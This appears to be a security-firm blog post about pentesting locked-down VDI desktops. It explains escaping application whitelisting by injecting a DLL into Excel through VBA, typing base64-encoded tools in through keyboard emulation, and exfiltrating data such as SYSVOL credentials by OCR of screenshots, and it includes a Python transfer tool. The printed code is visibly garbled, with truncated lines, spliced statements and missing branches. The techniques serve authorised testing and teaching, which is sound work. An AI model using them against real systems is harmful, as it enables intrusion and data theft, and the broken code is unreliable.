Cybersecurity blog header

Pentests in restricted VDI environments

A common scenario during an assessment or a pentesting is starting it from a VDI environment, focused towards “what could an insider or an attacker who has stolen a worker’s credentials do”. This type of environments usually have certain restrictions (major or minor) that hinder the first stages of the pentest.

In this article we will discuss several methods followed in one of our latest pentests where we encountered the scenario described earlier, and additionally a small tool will be released to ease the transfer and exfiltration of files between the remote desktop and a local machine.

0x01 – Get a shell at VDI environment

A starting point would be to get a terminal from which execute commands within the virtualized desktop. At first glance, the execution of cmd.exe and powershell.exe is prohibited. This situation restricts the possible courses of action, so it would be interesting to check what other restrictions are applied:

  • Whitelisting of what applications can be executed within the VDI.
  • Browsing between (sensitive) directories is not possible through the explorer.
  • Local client drive mapping is disabled.
  • The pass-through of devices (USB, serial …) is disabled.
  • The clipboard is not shared between client machine and VDI.
  • No -direct- Internet connection from the remote desktop.

In summary, execution of third-party programs is prohibited, nor it is possible to -directly- transfer files between the host and the VDI. What is available though is a notepad and Excel, and in latter the Developer options ribbon can be enabled.

As discussed in a previous post, it is possible to interact with the system’s APIs directly from VBA. Executing code through VBA opens up a wide range of possibilities, but it can become somewhat uncomfortable to work building macros for each functionality that is desired. The ideal scenario would be to use a first macro to inject into the excel process itself (or any another) a small portion of code responsible for loading a DLL. As the excel process is within the white list, and thus it can be use as a host for malicious purposes.

As for what should contain the DLL that will be loaded in the process, this can be done in two different ways. The first option is to follow Didier Stevens’s idea of building a cmd.dll by slightly modifying the ReactOS cmd code. This is a simple technique to implement, since it only requires a few minimum changes and compiles for the target platform. The second option is to build our own “cmd on steroids” by adding commands that automate certain tasks (for example check possible passwords in the SYSVOL, list domain information, etc.).

DLL injected into Excel at vdi environment

DLL injected into Excel

Either of the two options requires solving a prior problem: transfer the file from a local machine to the VDI. It is not possible to map a local drive, or download the DLL from the Internet. Nor the clipboard can be used as an intermediary. What other options are there available?

0x02 – Writing (literally) files in the VDI

When all the doors are closed, it is time to bust some windows. The only way to transfer our files onto the VDI is by typing them, one character at a time, as base64 in the notepad. Through keyboard emulation, and using base64 as encoding, it is possible to transfer the contents of a file hosted on a local machine to the remote desktop. This way all restrictions imposed on the environment are avoided.

Once the file is written in plain text inside the notepad, what is left is to save it and decode it to obtain the original DLL. The decoding process can be done either through a VBA macro (which should be transferred using the same method) or by taking advantage of the certutil utility that is installed on all Windows.

For the emulation of the keystrokes there are numerous utilities available, in our case we used the pyautogui library. A very abstract implementation of the idea is the following:

  1. Open the file that you want to transfer in binary mode.
  2. Encode the information in base64.
  3. Write the previous result in the VDI using the pyautogui library emulating a “normal” interaction of the keyboard.

With the DLL on the target system it can be loaded and used to continue onwards with the pentest. Likewise, any other tool can be downloaded onto the VDI using this method. Just keep in mind that, due to the whitelisting, you must modify and compile them as a DLL.

Although this obstacle has been easily solved, there is still another obstacle to overcome. How to exfiltrate information from the VDI to a local machine?

0x03 – Exfiltrating information from the VDI

The same problem as to how “upload” files on the remote machine, how do you “extract” any relevant piece of information or file? And not only that: the clipboard can not be used to copy crucial information. Suppose you want to export some XMLs located in SYSVOL that contains useful credentials to perform lateral movement. Or maybe there are some certificates that later will be useful to connect to the Wi-Fi network. How do you “export” them easily?

Our method to deal with this problem is to use optical character recognition to convert the information displayed on the remote VDI desktop to text. There are several options available that allow to perform this operation automatically. In our case we opted to use Tesseract, since it has an extensive documentation and bindings for different languages.

The methodology for this is quite simple. A new window of the notepad is opened in full screen, and the content to be exfiltrated is pasted into it (in the case of binary data or of problematic characters for the OCR, first it must be encoded in base64). A keyword is added to facilitate the processing later on. Once this step is done, we proceed to run the script which performs the following actions:

  1. Take a screenshot of the indicated region (position X, Y and size).
  2. Convert the screenshot to text.
  3. Check if the final keyword is in the text.
  4. If the keyword is not there, emulate the “pagedown” press and go back to point 1.
  5. If the keyword is there, finish.

Note that Tesseract can fail with some fonts and character sizes, so it is recommended to change them until you have the expected results. Listed below is the script that has been used in our pentests that automates the ideas detailed in the previous paragraphs: transfer files from local a local machine to the VDI and vice versa.

0x04 – F-Isolation

This a simple tool that uses pyautogui and pytesseract for the automation of tasks. Of course it could be improved, but the goal is to showcase the techniques discussed in this article in a practical way which can be modified by anyone when facing with similar kind of pentests. We hope it can be useful.

#coding: utf-8

# F-Isolation v0.1 - F**k isolated environments

# Because we hate that kind of pentests where you start at an isolated citrix where our
# clipboard is useless, we do not have internet access inside the machine and we can not
# map a local resource to upload our tools.

# OCR + Keyboard emulation FTW!

import argparse
import pyautogui
import pytesseract
import time
import sys
import os.path
import base64

from PIL import Image
from tqdm import tqdm

def banner():
  print '''
 ██████╗    ██╗███████╗ ██████╗ ██╗      █████╗ ████████╗██╗ ██████╗ ███╗   ██╗
██╔════╝    ██║██╔════╝██╔═══██╗██║     ██╔══██╗╚══██╔══╝██║██╔═══██╗████╗  ██║
█████╗█████╗██║███████╗██║   ██║██║     ███████║   ██║   ██║██║   ██║██╔██╗ ██║
██╔══╝╚════╝██║╚════██║██║   ██║██║     ██╔══██║   ██║   ██║██║   ██║██║╚██╗██║
██║         ██║███████║╚██████╔╝███████╗██║  ██║   ██║   ██║╚██████╔╝██║ ╚████║
╚═╝         ╚═╝╚══════╝ ╚═════╝ ╚══════╝╚═╝  ╚═╝   ╚═╝   ╚═╝ ╚═════╝ ╚═╝  ╚═══╝

   by X-C3LL & SoA

startpoint = "[HERE-STARTS]"
stoppoint = "[HERE-STOPS]"

# Convert image object to string and return the text
def imageToString(image):
  text = pytesseract.image_to_string(image)
  return text

# Take a screenshot of notepad
def takeScreenshot(y,sizex,sizey):
  im = pyautogui.screenshot(region=(0,y,sizex,sizey))
  return im

# Extract the text
def extractInfo(text):
  return text[text.index(startpoint) + len(startpoint):text.index(stoppoint)]

def exfiltrate():
  print "[+] Starting the transfer!"
  finalText = ""
  while 1:
    currentText = imageToString(takeScreenshot(args.axisy, args.sizex,args.sizey))
      finalText = finalText + currentText
      finalText = finalText + currentText'pagedown')
  print "[+] Transfer finished!"
  return extractInfo(''.join(finalText.split("n")))

#Read file in binary mode
def read_file_b(input_f):
  if os.path.isfile(input_f):
      with open(input_f, 'rb') as f:
        data =
      print "[!] Error. File could not be opened in 'rb' mode!"
    print "[!] Input file does not exist!"
  print "[+] Read the file!"
  return data

#Emulate keyboard
def keyboard_action(data, interval):
  if 'n' in data: #in case multiline data to help visualize progress
    data = data.split('n')
    for line in tqdm(data):
      pyautogui.typewrite(line, interval=interval)'return') #enter
    pyautogui.typewrite(data, interval=interval)
  print "[+] Finished writing with keyboard!"

#save output to file
def dump_info(output_f, data):
  if not os.path.isfile(output_f):
      with open(output_f, 'wb') as outfile:
        print "[+] Information saved to "+ str(output_f) +"!"
      print "[!] Error. Could not write to output file!"
    print "[!] File already exists!"

#timeout before keyboard emulation
def time_out_k(time_out):
  for i in reversed(xrange(1,time_out+1)): 
    sys.stdout.write("[+] Sleeping for "+str(i)+'s...r')
  print ""

#b64 encode data
def transform_to_b64(data):
  return base64.b64encode(data)

# Parameters for "exfiltration"
parser = argparse.ArgumentParser()
parser.add_argument("--exfiltrate", dest="ofile", help="File where to save extracted data")
parser.add_argument("--axisy", dest="axisy", help="Screenshot starting point")
parser.add_argument("--sizey", dest="sizey", help="Size of screenshot (Y Axis)")
parser.add_argument("--sizex", dest="sizex", help="Size of screenshot (X Axis)")

#Parameters for "infiltration"
parser.add_argument('-k', "--keyboard",  action="store_true", default=False, help="Use keyboard (if not present, saves to file)")
parser.add_argument("-i", "--input", help="Input file to transfer")
parser.add_argument("-t", "--timeout", type=int, default=5,
          help="Timeout before writing with keyboard (default 5s)")
parser.add_argument("-int", "--interval", type=float, default=0.0,
          help="Interval between keypresses (default pyautogui 0.0s)")
parser.add_argument('-b64', "--base64",  action="store_true", default=False, help="Encode payload as base64 (default False)")
parser.add_argument("-o", "--output", help="Output file (debug)")

args = parser.parse_args()

# Main

if args.ofile: #exfiltration
  if args.axisy and args.sizey and args.sizex:
    print "==========n Exfiltration moden==========n"
    data = exfiltrate()
    dump_info(args.ofile, data)

elif args.input: #infiltration
  print "==========n Infiltration moden==========n"
  data = read_file_b(args.input)
  if args.base64:
    data = transform_to_b64(data)
  if args.keyboard:
    keyboard_action(data, args.interval)
  if args.output:
    dump_info(args.output, data)
  print "[!] Wrong operation mode :("

0x05 – pentesting VDI conclusion

Even when an exhaustive hardening is done on an VDI environment, there is always a way, by the means of creativity, getting around the measures taken.

I would like to give a HUGE shoutout to XC3LL for helping me during the development and the writing of this article.

Discover our work and cybersecurity services at